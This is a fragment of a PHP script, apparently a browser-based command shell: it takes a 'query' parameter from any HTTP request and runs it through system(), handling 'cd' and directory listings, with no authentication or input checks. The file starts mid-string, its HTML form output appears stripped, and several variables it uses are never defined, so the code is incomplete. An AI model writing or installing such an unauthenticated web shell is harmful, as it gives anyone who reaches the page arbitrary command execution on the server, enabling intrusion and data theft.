\n";
function draw_form($query, $exec_checked_cd, $exec_checked_all, $dir)
{
echo "\n";
}
function ob_callback($string)
{
return HTMLentities($string);
}
$q = $_REQUEST["query"];
$exec_ls1 = $_REQUEST["exec_ls1"];
$exec_ls2 = $_REQUEST["exec_ls2"];
$wd = $_REQUEST["workdir"];
if(!isset($wd) || empty($wd))
$wd = getcwd();
$wd2 = $wd;
$exec_command = 0;
if(isset($q) && !empty($q)){
chdir($wd);
$matches = Array();
if(preg_match('/^\s*cd\s*((\/|\~)?([^\s\\\:\<\>\|\*\?\/]+(\/([^\s\\\:\<\>\|\*\?\/])+)*\/?)?)\s*$/', $q, $matches)){
chdir($matches[1]);
$wd2 = getcwd();
$exec_command = 2;
} else {
$exec_command = 1;
if(preg_match('/^\s*\*\s*(.+)$/', $q)){
$q2 = preg_replace('/^\s*\*\s*(.+)$/', dirname(__FILE__) . '/shell_helper.pl '. $bk_dir .' '. $bk_prefix .' "\\1"', $q);
$bk_msg1 = "The results will be stored in these files\n";
$bk_msg2 = "\nDon't forget to do periodically \"rm ". $bk_dir . "/" . $bk_prefix. "*\" to clean up the garbage\n";
} else
$bk_msg2 = "\n\nDon't forget to do periodically \"rm ". $bk_dir . "/" . $bk_prefix. "*\" to clean up the garbage";
}
draw_form($q, $exec_ls1, $exec_ls2, $wd2);
}
switch($exec_command){
case 1:
if($wd)
echo "\n" . $wd . ($q2? '': $bk_msg2) . "\n
";
echo "
\n";
$run_q = ($q2? $q2: $q);
if($q2)
echo $bk_msg1;
ob_start('ob_callback', 4096);
system(stripslashes($run_q));
ob_end_flush();
if($q2)
echo $bk_msg2;
echo "
";
case 0:
if($exec_ls2){
echo "
" . $ls_command . "\n";
ob_start('ob_callback', 4096);
system($ls_command);
ob_end_flush();
}
echo '
';
break;
case 2:
echo "
\n" . $wd . ' --> ' . getcwd() . "\n";
if($exec_ls1){
ob_start('ob_callback', 4096);
system($ls_command);
ob_end_flush();
}
echo "
";
break;
}
draw_form($q, $exec_ls1, $exec_ls2, $wd2);
?>